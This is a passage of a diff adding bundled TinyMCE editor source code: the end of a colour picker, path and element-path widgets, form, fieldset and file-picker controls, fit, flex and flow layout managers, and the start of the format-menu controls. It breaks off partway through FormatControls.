+							gradientPrefix + stopsList[i] + ',endColorstr=' + stopsList[i + 1] + ');' +
+							'-ms-' + gradientPrefix + stopsList[i] + ',endColorstr=' + stopsList[i + 1] + ')' +
+						'"></div>'
+					);
+				}
+
+				return html;
+			}
+
+			var gradientCssText = (
+				'background: -ms-linear-gradient(top,' + stops + ');' +
+				'background: linear-gradient(to bottom,' + stops + ');'
+			);
+
+			hueHtml = (
+				'<div id="' + id + '-h" class="' + prefix + 'colorpicker-h" style="' + gradientCssText + '">' +
+					getOldIeFallbackHtml() +
+					'<div id="' + id + '-hp" class="' + prefix + 'colorpicker-h-marker"></div>' +
+				'</div>'
+			);
+
+			return (
+				'<div id="' + id + '" class="' + self.classes() + '">' +
+					'<div id="' + id + '-sv" class="' + prefix + 'colorpicker-sv">' +
+						'<div class="' + prefix + 'colorpicker-overlay1">' +
+							'<div class="' + prefix + 'colorpicker-overlay2">' +
+								'<div id="' + id + '-svp" class="' + prefix + 'colorpicker-selector1">' +
+									'<div class="' + prefix + 'colorpicker-selector2"></div>' +
+								'</div>' +
+							'</div>' +
+						'</div>' +
+					'</div>' +
+					hueHtml +
+				'</div>'
+			);
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/Path.js
+
+/**
+ * Path.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Creates a new path control.
+ *
+ * @-x-less Path.less
+ * @class tinymce.ui.Path
+ * @extends tinymce.ui.Widget
+ */
+define("tinymce/ui/Path", [
+	"tinymce/ui/Widget"
+], function(Widget) {
+	"use strict";
+
+	return Widget.extend({
+		/**
+		 * Constructs a instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 * @setting {String} delimiter Delimiter to display between items in path.
+		 */
+		init: function(settings) {
+			var self = this;
+
+			if (!settings.delimiter) {
+				settings.delimiter = '\u00BB';
+			}
+
+			self._super(settings);
+			self.addClass('path');
+			self.canFocus = true;
+
+			self.on('click', function(e) {
+				var index, target = e.target;
+
+				if ((index = target.getAttribute('data-index'))) {
+					self.fire('select', {value: self.data()[index], index: index});
+				}
+			});
+		},
+
+		/**
+		 * Focuses the current control.
+		 *
+		 * @method focus
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		focus: function() {
+			var self = this;
+
+			self.getEl().firstChild.focus();
+
+			return self;
+		},
+
+		/**
+		 * Sets/gets the data to be used for the path.
+		 *
+		 * @method data
+		 * @param {Array} data Array with items name is rendered to path.
+		 */
+		data: function(data) {
+			var self = this;
+
+			if (typeof(data) !== "undefined") {
+				self._data = data;
+				self.update();
+
+				return self;
+			}
+
+			return self._data;
+		},
+
+		/**
+		 * Updated the path.
+		 *
+		 * @private
+		 */
+		update: function() {
+			this.innerHtml(this._getPathHtml());
+		},
+
+		/**
+		 * Called after the control has been rendered.
+		 *
+		 * @method postRender
+		 */
+		postRender: function() {
+			var self = this;
+
+			self._super();
+
+			self.data(self.settings.data);
+		},
+
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this;
+
+			return (
+				'<div id="' + self._id + '" class="' + self.classes() + '">' +
+					self._getPathHtml() +
+				'</div>'
+			);
+		},
+
+		_getPathHtml: function() {
+			var self = this, parts = self._data || [], i, l, html = '', prefix = self.classPrefix;
+
+			for (i = 0, l = parts.length; i < l; i++) {
+				html += (
+					(i > 0 ? '<div class="' + prefix + 'divider" aria-hidden="true"> ' + self.settings.delimiter + ' </div>' : '') +
+					'<div role="button" class="' + prefix + 'path-item' + (i == l - 1 ? ' ' + prefix + 'last' : '') + '" data-index="' +
+					i + '" tabindex="-1" id="' + self._id + '-' + i + '" aria-level="' + i + '">' + parts[i].name + '</div>'
+				);
+			}
+
+			if (!html) {
+				html = '<div class="' + prefix + 'path-item">\u00a0</div>';
+			}
+
+			return html;
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/ElementPath.js
+
+/**
+ * ElementPath.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This control creates an path for the current selections parent elements in TinyMCE.
+ *
+ * @class tinymce.ui.ElementPath
+ * @extends tinymce.ui.Path
+ */
+define("tinymce/ui/ElementPath", [
+	"tinymce/ui/Path",
+	"tinymce/EditorManager"
+], function(Path, EditorManager) {
+	return Path.extend({
+		/**
+		 * Post render method. Called after the control has been rendered to the target.
+		 *
+		 * @method postRender
+		 * @return {tinymce.ui.ElementPath} Current combobox instance.
+		 */
+		postRender: function() {
+			var self = this, editor = EditorManager.activeEditor;
+
+			function isHidden(elm) {
+				if (elm.nodeType === 1) {
+					if (elm.nodeName == "BR" || !!elm.getAttribute('data-mce-bogus')) {
+						return true;
+					}
+
+					if (elm.getAttribute('data-mce-type') === 'bookmark') {
+						return true;
+					}
+				}
+
+				return false;
+			}
+
+			self.on('select', function(e) {
+				editor.focus();
+				editor.selection.select(this.data()[e.index].element);
+				editor.nodeChanged();
+			});
+
+			editor.on('nodeChange', function(e) {
+				var outParents = [], parents = e.parents, i = parents.length;
+
+				while (i--) {
+					if (parents[i].nodeType == 1 && !isHidden(parents[i])) {
+						var args = editor.fire('ResolveName', {
+							name: parents[i].nodeName.toLowerCase(),
+							target: parents[i]
+						});
+
+						if (!args.isDefaultPrevented()) {
+							outParents.push({name: args.name, element: parents[i]});
+						}
+
+						if (args.isPropagationStopped()) {
+							break;
+						}
+					}
+				}
+
+				self.data(outParents);
+			});
+
+			return self._super();
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/FormItem.js
+
+/**
+ * FormItem.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class is a container created by the form element with
+ * a label and control item.
+ *
+ * @class tinymce.ui.FormItem
+ * @extends tinymce.ui.Container
+ * @setting {String} label Label to display for the form item.
+ */
+define("tinymce/ui/FormItem", [
+	"tinymce/ui/Container"
+], function(Container) {
+	"use strict";
+
+	return Container.extend({
+		Defaults: {
+			layout: 'flex',
+			align: 'center',
+			defaults: {
+				flex: 1
+			}
+		},
+
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this, layout = self._layout, prefix = self.classPrefix;
+
+			self.addClass('formitem');
+			layout.preRender(self);
+
+			return (
+				'<div id="' + self._id + '" class="' + self.classes() + '" hidefocus="1" tabindex="-1">' +
+					(self.settings.title ? ('<div id="' + self._id + '-title" class="' + prefix + 'title">' +
+						self.settings.title + '</div>') : '') +
+					'<div id="' + self._id + '-body" class="' + self.classes('body') + '">' +
+						(self.settings.html || '') + layout.renderHtml(self) +
+					'</div>' +
+				'</div>'
+			);
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/Form.js
+
+/**
+ * Form.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class creates a form container. A form container has the ability
+ * to automatically wrap items in tinymce.ui.FormItem instances.
+ *
+ * Each FormItem instance is a container for the label and the item.
+ *
+ * @example
+ * tinymce.ui.Factory.create({
+ *     type: 'form',
+ *     items: [
+ *         {type: 'textbox', label: 'My text box'}
+ *     ]
+ * }).renderTo(document.body);
+ *
+ * @class tinymce.ui.Form
+ * @extends tinymce.ui.Container
+ */
+define("tinymce/ui/Form", [
+	"tinymce/ui/Container",
+	"tinymce/ui/FormItem",
+	"tinymce/util/Tools"
+], function(Container, FormItem, Tools) {
+	"use strict";
+
+	return Container.extend({
+		Defaults: {
+			containerCls: 'form',
+			layout: 'flex',
+			direction: 'column',
+			align: 'stretch',
+			flex: 1,
+			padding: 20,
+			labelGap: 30,
+			spacing: 10,
+			callbacks: {
+				submit: function() {
+					this.submit();
+				}
+			}
+		},
+
+		/**
+		 * This method gets invoked before the control is rendered.
+		 *
+		 * @method preRender
+		 */
+		preRender: function() {
+			var self = this, items = self.items();
+
+			if (!self.settings.formItemDefaults) {
+				self.settings.formItemDefaults = {
+					layout: 'flex',
+					autoResize: "overflow",
+					defaults: {flex: 1}
+				};
+			}
+
+			// Wrap any labeled items in FormItems
+			items.each(function(ctrl) {
+				var formItem, label = ctrl.settings.label;
+
+				if (label) {
+					formItem = new FormItem(Tools.extend({
+						items: {
+							type: 'label',
+							id: ctrl._id + '-l',
+							text: label,
+							flex: 0,
+							forId: ctrl._id,
+							disabled: ctrl.disabled()
+						}
+					}, self.settings.formItemDefaults));
+
+					formItem.type = 'formitem';
+					ctrl.aria('labelledby', ctrl._id + '-l');
+
+					if (typeof(ctrl.settings.flex) == "undefined") {
+						ctrl.settings.flex = 1;
+					}
+
+					self.replace(ctrl, formItem);
+					formItem.add(ctrl);
+				}
+			});
+		},
+
+		/**
+		 * Recalcs label widths.
+		 *
+		 * @private
+		 */
+		recalcLabels: function() {
+			var self = this, maxLabelWidth = 0, labels = [], i, labelGap, items;
+
+			if (self.settings.labelGapCalc === false) {
+				return;
+			}
+
+			if (self.settings.labelGapCalc == "children") {
+				items = self.find('formitem');
+			} else {
+				items = self.items();
+			}
+
+			items.filter('formitem').each(function(item) {
+				var labelCtrl = item.items()[0], labelWidth = labelCtrl.getEl().clientWidth;
+
+				maxLabelWidth = labelWidth > maxLabelWidth ? labelWidth : maxLabelWidth;
+				labels.push(labelCtrl);
+			});
+
+			labelGap = self.settings.labelGap || 0;
+
+			i = labels.length;
+			while (i--) {
+				labels[i].settings.minWidth = maxLabelWidth + labelGap;
+			}
+		},
+
+		/**
+		 * Getter/setter for the visibility state.
+		 *
+		 * @method visible
+		 * @param {Boolean} [state] True/false state to show/hide.
+		 * @return {tinymce.ui.Form|Boolean} True/false state or current control.
+		 */
+		visible: function(state) {
+			var val = this._super(state);
+
+			if (state === true && this._rendered) {
+				this.recalcLabels();
+			}
+
+			return val;
+		},
+
+		/**
+		 * Fires a submit event with the serialized form.
+		 *
+		 * @method submit
+		 * @return {Object} Event arguments object.
+		 */
+		submit: function() {
+			return this.fire('submit', {data: this.toJSON()});
+		},
+
+		/**
+		 * Post render method. Called after the control has been rendered to the target.
+		 *
+		 * @method postRender
+		 * @return {tinymce.ui.ComboBox} Current combobox instance.
+		 */
+		postRender: function() {
+			var self = this;
+
+			self._super();
+			self.recalcLabels();
+			self.fromJSON(self.settings.data);
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/FieldSet.js
+
+/**
+ * FieldSet.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class creates fieldset containers.
+ *
+ * @-x-less FieldSet.less
+ * @class tinymce.ui.FieldSet
+ * @extends tinymce.ui.Form
+ */
+define("tinymce/ui/FieldSet", [
+	"tinymce/ui/Form"
+], function(Form) {
+	"use strict";
+
+	return Form.extend({
+		Defaults: {
+			containerCls: 'fieldset',
+			layout: 'flex',
+			direction: 'column',
+			align: 'stretch',
+			flex: 1,
+			padding: "25 15 5 15",
+			labelGap: 30,
+			spacing: 10,
+			border: 1
+		},
+
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this, layout = self._layout, prefix = self.classPrefix;
+
+			self.preRender();
+			layout.preRender(self);
+
+			return (
+				'<fieldset id="' + self._id + '" class="' + self.classes() + '" hidefocus="1" tabindex="-1">' +
+					(self.settings.title ? ('<legend id="' + self._id + '-title" class="' + prefix + 'fieldset-title">' +
+						self.settings.title + '</legend>') : '') +
+					'<div id="' + self._id + '-body" class="' + self.classes('body') + '">' +
+						(self.settings.html || '') + layout.renderHtml(self) +
+					'</div>' +
+				'</fieldset>'
+			);
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/FilePicker.js
+
+/**
+ * FilePicker.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*global tinymce:true */
+
+/**
+ * This class creates a file picker control.
+ *
+ * @class tinymce.ui.FilePicker
+ * @extends tinymce.ui.ComboBox
+ */
+define("tinymce/ui/FilePicker", [
+	"tinymce/ui/ComboBox",
+	"tinymce/util/Tools"
+], function(ComboBox, Tools) {
+	"use strict";
+
+	return ComboBox.extend({
+		/**
+		 * Constructs a new control instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 */
+		init: function(settings) {
+			var self = this, editor = tinymce.activeEditor, editorSettings = editor.settings;
+			var actionCallback, fileBrowserCallback, fileBrowserCallbackTypes;
+
+			settings.spellcheck = false;
+
+			fileBrowserCallbackTypes = editorSettings.file_picker_types || editorSettings.file_browser_callback_types;
+			if (fileBrowserCallbackTypes) {
+				fileBrowserCallbackTypes = Tools.makeMap(fileBrowserCallbackTypes, /[, ]/);
+			}
+
+			if (!fileBrowserCallbackTypes || fileBrowserCallbackTypes[settings.filetype]) {
+				fileBrowserCallback = editorSettings.file_picker_callback;
+				if (fileBrowserCallback && (!fileBrowserCallbackTypes || fileBrowserCallbackTypes[settings.filetype])) {
+					actionCallback = function() {
+						var meta = self.fire('beforecall').meta;
+
+						meta = Tools.extend({filetype: settings.filetype}, meta);
+
+						// file_picker_callback(callback, currentValue, metaData)
+						fileBrowserCallback.call(
+							editor,
+							function(value, meta) {
+								self.value(value).fire('change', {meta: meta});
+							},
+							self.value(),
+							meta
+						);
+					};
+				} else {
+					// Legacy callback: file_picker_callback(id, currentValue, filetype, window)
+					fileBrowserCallback = editorSettings.file_browser_callback;
+					if (fileBrowserCallback && (!fileBrowserCallbackTypes || fileBrowserCallbackTypes[settings.filetype])) {
+						actionCallback = function() {
+							fileBrowserCallback(
+								self.getEl('inp').id,
+								self.value(),
+								settings.filetype,
+								window
+							);
+						};
+					}
+				}
+			}
+
+			if (actionCallback) {
+				settings.icon = 'browse';
+				settings.onaction = actionCallback;
+			}
+
+			self._super(settings);
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/FitLayout.js
+
+/**
+ * FitLayout.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This layout manager will resize the control to be the size of it's parent container.
+ * In other words width: 100% and height: 100%.
+ *
+ * @-x-less FitLayout.less
+ * @class tinymce.ui.FitLayout
+ * @extends tinymce.ui.AbsoluteLayout
+ */
+define("tinymce/ui/FitLayout", [
+	"tinymce/ui/AbsoluteLayout"
+], function(AbsoluteLayout) {
+	"use strict";
+
+	return AbsoluteLayout.extend({
+		/**
+		 * Recalculates the positions of the controls in the specified container.
+		 *
+		 * @method recalc
+		 * @param {tinymce.ui.Container} container Container instance to recalc.
+		 */
+		recalc: function(container) {
+			var contLayoutRect = container.layoutRect(), paddingBox = container.paddingBox();
+
+			container.items().filter(':visible').each(function(ctrl) {
+				ctrl.layoutRect({
+					x: paddingBox.left,
+					y: paddingBox.top,
+					w: contLayoutRect.innerW - paddingBox.right - paddingBox.left,
+					h: contLayoutRect.innerH - paddingBox.top - paddingBox.bottom
+				});
+
+				if (ctrl.recalc) {
+					ctrl.recalc();
+				}
+			});
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/FlexLayout.js
+
+/**
+ * FlexLayout.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This layout manager works similar to the CSS flex box.
+ *
+ * @setting {String} direction row|row-reverse|column|column-reverse
+ * @setting {Number} flex A positive-number to flex by.
+ * @setting {String} align start|end|center|stretch
+ * @setting {String} pack start|end|justify
+ *
+ * @class tinymce.ui.FlexLayout
+ * @extends tinymce.ui.AbsoluteLayout
+ */
+define("tinymce/ui/FlexLayout", [
+	"tinymce/ui/AbsoluteLayout"
+], function(AbsoluteLayout) {
+	"use strict";
+
+	return AbsoluteLayout.extend({
+		/**
+		 * Recalculates the positions of the controls in the specified container.
+		 *
+		 * @method recalc
+		 * @param {tinymce.ui.Container} container Container instance to recalc.
+		 */
+		recalc: function(container) {
+			// A ton of variables, needs to be in the same scope for performance
+			var i, l, items, contLayoutRect, contPaddingBox, contSettings, align, pack, spacing, totalFlex, availableSpace, direction;
+			var ctrl, ctrlLayoutRect, ctrlSettings, flex, maxSizeItems = [], size, maxSize, ratio, rect, pos, maxAlignEndPos;
+			var sizeName, minSizeName, posName, maxSizeName, beforeName, innerSizeName, deltaSizeName, contentSizeName;
+			var alignAxisName, alignInnerSizeName, alignSizeName, alignMinSizeName, alignBeforeName, alignAfterName;
+			var alignDeltaSizeName, alignContentSizeName;
+			var max = Math.max, min = Math.min;
+
+			// Get container items, properties and settings
+			items = container.items().filter(':visible');
+			contLayoutRect = container.layoutRect();
+			contPaddingBox = container._paddingBox;
+			contSettings = container.settings;
+			direction = container.isRtl() ? (contSettings.direction || 'row-reversed') : contSettings.direction;
+			align = contSettings.align;
+			pack = container.isRtl() ? (contSettings.pack || 'end') : contSettings.pack;
+			spacing = contSettings.spacing || 0;
+
+			if (direction == "row-reversed" || direction == "column-reverse") {
+				items = items.set(items.toArray().reverse());
+				direction = direction.split('-')[0];
+			}
+
+			// Setup axis variable name for row/column direction since the calculations is the same
+			if (direction == "column") {
+				posName = "y";
+				sizeName = "h";
+				minSizeName = "minH";
+				maxSizeName = "maxH";
+				innerSizeName = "innerH";
+				beforeName = 'top';
+				deltaSizeName = "deltaH";
+				contentSizeName = "contentH";
+
+				alignBeforeName = "left";
+				alignSizeName = "w";
+				alignAxisName = "x";
+				alignInnerSizeName = "innerW";
+				alignMinSizeName = "minW";
+				alignAfterName = "right";
+				alignDeltaSizeName = "deltaW";
+				alignContentSizeName = "contentW";
+			} else {
+				posName = "x";
+				sizeName = "w";
+				minSizeName = "minW";
+				maxSizeName = "maxW";
+				innerSizeName = "innerW";
+				beforeName = 'left';
+				deltaSizeName = "deltaW";
+				contentSizeName = "contentW";
+
+				alignBeforeName = "top";
+				alignSizeName = "h";
+				alignAxisName = "y";
+				alignInnerSizeName = "innerH";
+				alignMinSizeName = "minH";
+				alignAfterName = "bottom";
+				alignDeltaSizeName = "deltaH";
+				alignContentSizeName = "contentH";
+			}
+
+			// Figure out total flex, availableSpace and collect any max size elements
+			availableSpace = contLayoutRect[innerSizeName] - contPaddingBox[beforeName] - contPaddingBox[beforeName];
+			maxAlignEndPos = totalFlex = 0;
+			for (i = 0, l = items.length; i < l; i++) {
+				ctrl = items[i];
+				ctrlLayoutRect = ctrl.layoutRect();
+				ctrlSettings = ctrl.settings;
+				flex = ctrlSettings.flex;
+				availableSpace -= (i < l - 1 ? spacing : 0);
+
+				if (flex > 0) {
+					totalFlex += flex;
+
+					// Flexed item has a max size then we need to check if we will hit that size
+					if (ctrlLayoutRect[maxSizeName]) {
+						maxSizeItems.push(ctrl);
+					}
+
+					ctrlLayoutRect.flex = flex;
+				}
+
+				availableSpace -= ctrlLayoutRect[minSizeName];
+
+				// Calculate the align end position to be used to check for overflow/underflow
+				size = contPaddingBox[alignBeforeName] + ctrlLayoutRect[alignMinSizeName] + contPaddingBox[alignAfterName];
+				if (size > maxAlignEndPos) {
+					maxAlignEndPos = size;
+				}
+			}
+
+			// Calculate minW/minH
+			rect = {};
+			if (availableSpace < 0) {
+				rect[minSizeName] = contLayoutRect[minSizeName] - availableSpace + contLayoutRect[deltaSizeName];
+			} else {
+				rect[minSizeName] = contLayoutRect[innerSizeName] - availableSpace + contLayoutRect[deltaSizeName];
+			}
+
+			rect[alignMinSizeName] = maxAlignEndPos + contLayoutRect[alignDeltaSizeName];
+
+			rect[contentSizeName] = contLayoutRect[innerSizeName] - availableSpace;
+			rect[alignContentSizeName] = maxAlignEndPos;
+			rect.minW = min(rect.minW, contLayoutRect.maxW);
+			rect.minH = min(rect.minH, contLayoutRect.maxH);
+			rect.minW = max(rect.minW, contLayoutRect.startMinWidth);
+			rect.minH = max(rect.minH, contLayoutRect.startMinHeight);
+
+			// Resize container container if minSize was changed
+			if (contLayoutRect.autoResize && (rect.minW != contLayoutRect.minW || rect.minH != contLayoutRect.minH)) {
+				rect.w = rect.minW;
+				rect.h = rect.minH;
+
+				container.layoutRect(rect);
+				this.recalc(container);
+
+				// Forced recalc for example if items are hidden/shown
+				if (container._lastRect === null) {
+					var parentCtrl = container.parent();
+					if (parentCtrl) {
+						parentCtrl._lastRect = null;
+						parentCtrl.recalc();
+					}
+				}
+
+				return;
+			}
+
+			// Handle max size elements, check if they will become to wide with current options
+			ratio = availableSpace / totalFlex;
+			for (i = 0, l = maxSizeItems.length; i < l; i++) {
+				ctrl = maxSizeItems[i];
+				ctrlLayoutRect = ctrl.layoutRect();
+				maxSize = ctrlLayoutRect[maxSizeName];
+				size = ctrlLayoutRect[minSizeName] + ctrlLayoutRect.flex * ratio;
+
+				if (size > maxSize) {
+					availableSpace -= (ctrlLayoutRect[maxSizeName] - ctrlLayoutRect[minSizeName]);
+					totalFlex -= ctrlLayoutRect.flex;
+					ctrlLayoutRect.flex = 0;
+					ctrlLayoutRect.maxFlexSize = maxSize;
+				} else {
+					ctrlLayoutRect.maxFlexSize = 0;
+				}
+			}
+
+			// Setup new ratio, target layout rect, start position
+			ratio = availableSpace / totalFlex;
+			pos = contPaddingBox[beforeName];
+			rect = {};
+
+			// Handle pack setting moves the start position to end, center
+			if (totalFlex === 0) {
+				if (pack == "end") {
+					pos = availableSpace + contPaddingBox[beforeName];
+				} else if (pack == "center") {
+					pos = Math.round(
+						(contLayoutRect[innerSizeName] / 2) - ((contLayoutRect[innerSizeName] - availableSpace) / 2)
+					) + contPaddingBox[beforeName];
+
+					if (pos < 0) {
+						pos = contPaddingBox[beforeName];
+					}
+				} else if (pack == "justify") {
+					pos = contPaddingBox[beforeName];
+					spacing = Math.floor(availableSpace / (items.length - 1));
+				}
+			}
+
+			// Default aligning (start) the other ones needs to be calculated while doing the layout
+			rect[alignAxisName] = contPaddingBox[alignBeforeName];
+
+			// Start laying out controls
+			for (i = 0, l = items.length; i < l; i++) {
+				ctrl = items[i];
+				ctrlLayoutRect = ctrl.layoutRect();
+				size = ctrlLayoutRect.maxFlexSize || ctrlLayoutRect[minSizeName];
+
+				// Align the control on the other axis
+				if (align === "center") {
+					rect[alignAxisName] = Math.round((contLayoutRect[alignInnerSizeName] / 2) - (ctrlLayoutRect[alignSizeName] / 2));
+				} else if (align === "stretch") {
+					rect[alignSizeName] = max(
+						ctrlLayoutRect[alignMinSizeName] || 0,
+						contLayoutRect[alignInnerSizeName] - contPaddingBox[alignBeforeName] - contPaddingBox[alignAfterName]
+					);
+					rect[alignAxisName] = contPaddingBox[alignBeforeName];
+				} else if (align === "end") {
+					rect[alignAxisName] = contLayoutRect[alignInnerSizeName]  - ctrlLayoutRect[alignSizeName]  - contPaddingBox.top;
+				}
+
+				// Calculate new size based on flex
+				if (ctrlLayoutRect.flex > 0) {
+					size += ctrlLayoutRect.flex * ratio;
+				}
+
+				rect[sizeName] = size;
+				rect[posName] = pos;
+				ctrl.layoutRect(rect);
+
+				// Recalculate containers
+				if (ctrl.recalc) {
+					ctrl.recalc();
+				}
+
+				// Move x/y position
+				pos += size + spacing;
+			}
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/FlowLayout.js
+
+/**
+ * FlowLayout.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This layout manager will place the controls by using the browsers native layout.
+ *
+ * @-x-less FlowLayout.less
+ * @class tinymce.ui.FlowLayout
+ * @extends tinymce.ui.Layout
+ */
+define("tinymce/ui/FlowLayout", [
+	"tinymce/ui/Layout"
+], function(Layout) {
+	return Layout.extend({
+		Defaults: {
+			containerClass: 'flow-layout',
+			controlClass: 'flow-layout-item',
+			endClass : 'break'
+		},
+
+		/**
+		 * Recalculates the positions of the controls in the specified container.
+		 *
+		 * @method recalc
+		 * @param {tinymce.ui.Container} container Container instance to recalc.
+		 */
+		recalc: function(container) {
+			container.items().filter(':visible').each(function(ctrl) {
+				if (ctrl.recalc) {
+					ctrl.recalc();
+				}
+			});
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/FormatControls.js
+
+/**
+ * FormatControls.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Internal class containing all TinyMCE specific control types such as
+ * format listboxes, fontlist boxes, toolbar buttons etc.
+ *
+ * @class tinymce.ui.FormatControls
+ */
+define("tinymce/ui/FormatControls", [
+	"tinymce/ui/Control",
+	"tinymce/ui/Widget",
+	"tinymce/ui/FloatPanel",
+	"tinymce/util/Tools",
+	"tinymce/EditorManager",
+	"tinymce/Env"
+], function(Control, Widget, FloatPanel, Tools, EditorManager, Env) {
+	var each = Tools.each;
+
+	EditorManager.on('AddEditor', function(e) {
+		if (e.editor.rtl) {
+			Control.rtl = true;
+		}
+
+		registerControls(e.editor);
+	});
+
+	Control.translate = function(text) {
+		return EditorManager.translate(text);
+	};
+
+	Widget.tooltips = !Env.iOS;
+
+	function registerControls(editor) {
+		var formatMenu;
+
+		function createListBoxChangeHandler(items, formatName) {
+			return function() {
+				var self = this;
+
+				editor.on('nodeChange', function(e) {
+					var formatter = editor.formatter;
+					var value = null;
+
+					each(e.parents, function(node) {
+						each(items, function(item) {
+							if (formatName) {
+								if (formatter.matchNode(node, formatName, {value: item.value})) {
+									value = item.value;
+								}
+							} else {
+								if (formatter.matchNode(node, item.value)) {
+									value = item.value;
+								}
+							}
+
+							if (value) {
+								return false;
+							}
+						});
+
+						if (value) {
+							return false;
+						}
+					});
+
+					self.value(value);
+				});
+			};
+		}
+
+		function createFormats(formats) {
+			formats = formats.replace(/;$/, '').split(';');
+
+			var i = formats.length;
+			while (i--) {
+				formats[i] = formats[i].split('=');
+			}
+
+			return formats;
+		}
+
+		function createFormatMenu() {
+			var count = 0, newFormats = [];
+
+			var defaultStyleFormats = [
+				{title: 'Headings', items: [
+					{title: 'Heading 1', format: 'h1'},
+					{title: 'Heading 2', format: 'h2'},
+					{title: 'Heading 3', format: 'h3'},
+					{title: 'Heading 4', format: 'h4'},
+					{title: 'Heading 5', format: 'h5'},
+					{title: 'Heading 6', format: 'h6'}
+				]},
+
+				{title: 'Inline', items: [
+					{title: 'Bold', icon: 'bold', format: 'bold'},
+					{title: 'Italic', icon: 'italic', format: 'italic'},
+					{title: 'Underline', icon: 'underline', format: 'underline'},
+					{title: 'Strikethrough', icon: 'strikethrough', format: 'strikethrough'},
+					{title: 'Superscript', icon: 'superscript', format: 'superscript'},
+					{title: 'Subscript', icon: 'subscript', format: 'subscript'},
+					{title: 'Code', icon: 'code', format: 'code'}
+				]},
+
+				{title: 'Blocks', items: [
+					{title: 'Paragraph', format: 'p'},
+					{title: 'Blockquote', format: 'blockquote'},
+					{title: 'Div', format: 'div'},
+					{title: 'Pre', format: 'pre'}
+				]},
+
+				{title: 'Alignment', items: [
+					{title: 'Left', icon: 'alignleft', format: 'alignleft'},
+					{title: 'Center', icon: 'aligncenter', format: 'aligncenter'},
+					{title: 'Right', icon: 'alignright', format: 'alignright'},
+					{title: 'Justify', icon: 'alignjustify', format: 'alignjustify'}
+				]}
+			];
+
+			function createMenu(formats) {
+				var menu = [];
+
+				if (!formats) {
+					return;
+				}
+
+				each(formats, function(format) {
+					var menuItem = {
+						text: format.title,
+						icon: format.icon
+					};
+
+					if (format.items) {
+						menuItem.menu = createMenu(format.items);
+					} else {
+						var formatName = format.format || "custom" + count++;
+
+						if (!format.format) {
+							format.name = formatName;
+							newFormats.push(format);
+						}
+
+						menuItem.format = formatName;
+						menuItem.cmd = format.cmd;
+					}
+
+					menu.push(menuItem);
+				});
+
+				return menu;
+			}
+
+			function createStylesMenu() {
+				var menu;
+
+				if (editor.settings.style_formats_merge) {
+					if (editor.settings.style_formats) {
+						menu = createMenu(defaultStyleFormats.concat(editor.settings.style_formats));
+					} else {
+						menu = createMenu(defaultStyleFormats);
+					}
+				} else {
+					menu = createMenu(editor.settings.style_formats || defaultStyleFormats);
+				}
+
+				return menu;
+			}
+
+			editor.on('init', function() {
+				each(newFormats, function(format) {
+					editor.formatter.register(format.name, format);
+				});
+			});
+
+			return {
+				type: 'menu',
+				items: createStylesMenu(),
+				onPostRender: function(e) {
+					editor.fire('renderFormatsMenu', {control: e.control});
+				},
+				itemDefaults: {
+					preview: true,
+
+					textStyle: function() {
+						if (this.settings.format) {
+							return editor.formatter.getCssText(this.settings.format);
+						}
+					},
+
+					onPostRender: function() {
+						var self = this;
+
+						self.parent().on('show', function() {
+							var formatName, command;
+
+							formatName = self.settings.format;
+							if (formatName) {
+								self.disabled(!editor.formatter.canApply(formatName));
+								self.active(editor.formatter.match(formatName));
+							}
+
+							command = self.settings.cmd;
+							if (command) {
+								self.active(editor.queryCommandState(command));
+							}
+						});
+					},
+
+					onclick: function() {
+						if (this.settings.format) {
+							toggleFormat(this.settings.format);
+						}
+
